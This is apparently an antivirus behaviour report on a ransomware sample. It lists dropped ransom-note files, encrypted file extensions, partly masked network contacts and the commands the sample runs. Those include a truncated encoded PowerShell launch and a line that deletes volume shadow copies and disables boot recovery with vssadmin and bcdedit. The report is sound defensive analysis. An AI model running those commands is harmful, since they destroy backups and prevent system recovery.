Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\yh9pma-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\vssvc.exe
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\210252809.jpg
- %HOMEPATH%\desktop\testee.cer
- %HOMEPATH%\desktop\sdksampleprivdeveloper.cer
- %HOMEPATH%\desktop\sdkfailsafeemulator.cer
- %HOMEPATH%\desktop\pushkin.jpg
- %HOMEPATH%\desktop\ituneshelpunavailable.htm
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\glidescope_review_rev_010.docx
- %HOMEPATH%\desktop\dialmap.bmp
- %HOMEPATH%\desktop\cveuropeo.doc
- %HOMEPATH%\desktop\contoso_1.cer
- %HOMEPATH%\desktop\api-hashmap.html
- %HOMEPATH%\desktop\alert.html
- %HOMEPATH%\desktop\about.html
- %HOMEPATH%\desktop\64bit_notes.htm
- %HOMEPATH%\desktop\508softwareandos.doc
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpg
- %HOMEPATH%\desktop\4f0bf7ff71f28.jpeg
- %HOMEPATH%\desktop\toolbar.bmp
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
Modifies file system
Creates the following files
- C:\yh9pma-readme.txt
- %HOMEPATH%\contacts\yh9pma-readme.txt
- C:\users\public\videos\yh9pma-readme.txt
- C:\users\public\recorded tv\yh9pma-readme.txt
- C:\users\public\pictures\yh9pma-readme.txt
- C:\users\public\music\yh9pma-readme.txt
- C:\users\public\libraries\yh9pma-readme.txt
- C:\users\public\favorites\yh9pma-readme.txt
- C:\users\public\downloads\yh9pma-readme.txt
- C:\users\public\documents\yh9pma-readme.txt
- C:\users\public\desktop\yh9pma-readme.txt
- C:\users\default\videos\yh9pma-readme.txt
- C:\users\default\saved games\yh9pma-readme.txt
- C:\users\default\pictures\yh9pma-readme.txt
- C:\users\default\music\yh9pma-readme.txt
- C:\users\default\links\yh9pma-readme.txt
- C:\users\default\favorites\yh9pma-readme.txt
- C:\users\default\downloads\yh9pma-readme.txt
- C:\users\default\documents\yh9pma-readme.txt
- C:\users\default\desktop\yh9pma-readme.txt
- %HOMEPATH%\desktop\yh9pma-readme.txt
- %HOMEPATH%\documents\yh9pma-readme.txt
- %HOMEPATH%\downloads\yh9pma-readme.txt
- %HOMEPATH%\favorites\yh9pma-readme.txt
- %HOMEPATH%\favorites\msn websites\yh9pma-readme.txt
- %HOMEPATH%\favorites\microsoft websites\yh9pma-readme.txt
- %HOMEPATH%\favorites\links for united states\yh9pma-readme.txt
- %HOMEPATH%\favorites\links\yh9pma-readme.txt
- C:\users\public\videos\sample videos\yh9pma-readme.txt
- C:\users\public\recorded tv\sample media\yh9pma-readme.txt
- C:\users\public\pictures\sample pictures\yh9pma-readme.txt
- C:\users\public\music\sample music\yh9pma-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\yh9pma-readme.txt
- C:\far2\addons\xlat\russian\yh9pma-readme.txt
- C:\far2\plugins\ftp\lib\yh9pma-readme.txt
- C:\far2\addons\colors\default_highlighting\yh9pma-readme.txt
- C:\far2\addons\colors\custom_highlighting\yh9pma-readme.txt
- %HOMEPATH%\voip\yh9pma-readme.txt
- %HOMEPATH%\videos\yh9pma-readme.txt
- %HOMEPATH%\searches\yh9pma-readme.txt
- %HOMEPATH%\saved games\yh9pma-readme.txt
- %HOMEPATH%\pictures\yh9pma-readme.txt
- %HOMEPATH%\music\yh9pma-readme.txt
- %HOMEPATH%\links\yh9pma-readme.txt
- %HOMEPATH%\favorites\windows live\yh9pma-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\yh9pma-readme.txt
- C:\far2\pluginsdk\headers.pas\yh9pma-readme.txt
- C:\far2\pluginsdk\headers.c\yh9pma-readme.txt
- C:\users\public\yh9pma-readme.txt
- C:\users\default\yh9pma-readme.txt
- C:\totalcmd\language\yh9pma-readme.txt
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\yh9pma-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\yh9pma-readme.txt
- C:\far2\pluginsdk\yh9pma-readme.txt
- C:\far2\plugins\yh9pma-readme.txt
- C:\far2\fexcept\yh9pma-readme.txt
- C:\far2\encyclopedia\yh9pma-readme.txt
- C:\far2\documentation\yh9pma-readme.txt
- C:\far2\addons\yh9pma-readme.txt
- <Current directory>\~$<File name>.doc
- C:\users\yh9pma-readme.txt
- C:\totalcmd\yh9pma-readme.txt
- C:\recovery\yh9pma-readme.txt
- %ProgramFiles(x86)%\yh9pma-readme.txt
- %ProgramFiles%\yh9pma-readme.txt
- C:\far2\yh9pma-readme.txt
- <Current directory>\yh9pma-readme.txt
- %HOMEPATH%\yh9pma-readme.txt
- C:\far2\addons\colors\yh9pma-readme.txt
- C:\far2\addons\macros\yh9pma-readme.txt
- C:\far2\addons\setup\yh9pma-readme.txt
- C:\far2\plugins\proclist\yh9pma-readme.txt
- C:\far2\plugins\network\yh9pma-readme.txt
- C:\far2\plugins\macroview\yh9pma-readme.txt
- C:\far2\plugins\hlfviewer\yh9pma-readme.txt
- C:\far2\plugins\ftp\yh9pma-readme.txt
- C:\far2\plugins\filecase\yh9pma-readme.txt
- C:\far2\plugins\farcmds\yh9pma-readme.txt
- C:\far2\plugins\emenu\yh9pma-readme.txt
- C:\far2\plugins\editcase\yh9pma-readme.txt
- C:\far2\plugins\compare\yh9pma-readme.txt
- C:\far2\plugins\drawline\yh9pma-readme.txt
- C:\far2\plugins\brackets\yh9pma-readme.txt
- C:\far2\plugins\autowrap\yh9pma-readme.txt
- C:\far2\plugins\arclite\yh9pma-readme.txt
- C:\far2\plugins\align\yh9pma-readme.txt
- C:\far2\encyclopedia\tap\yh9pma-readme.txt
- C:\far2\documentation\rus\yh9pma-readme.txt
- C:\far2\documentation\eng\yh9pma-readme.txt
- C:\far2\addons\xlat\yh9pma-readme.txt
- C:\far2\addons\shell\yh9pma-readme.txt
- C:\far2\plugins\tmppanel\yh9pma-readme.txt
- D:\yh9pma-readme.txt
Moves the following files
- from <Current directory>\~$<File name>.doc to <Current directory>\~$<File name>.doc.yh9pma
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.yh9pma
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK ne###russ.com
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\vssvc.exe'
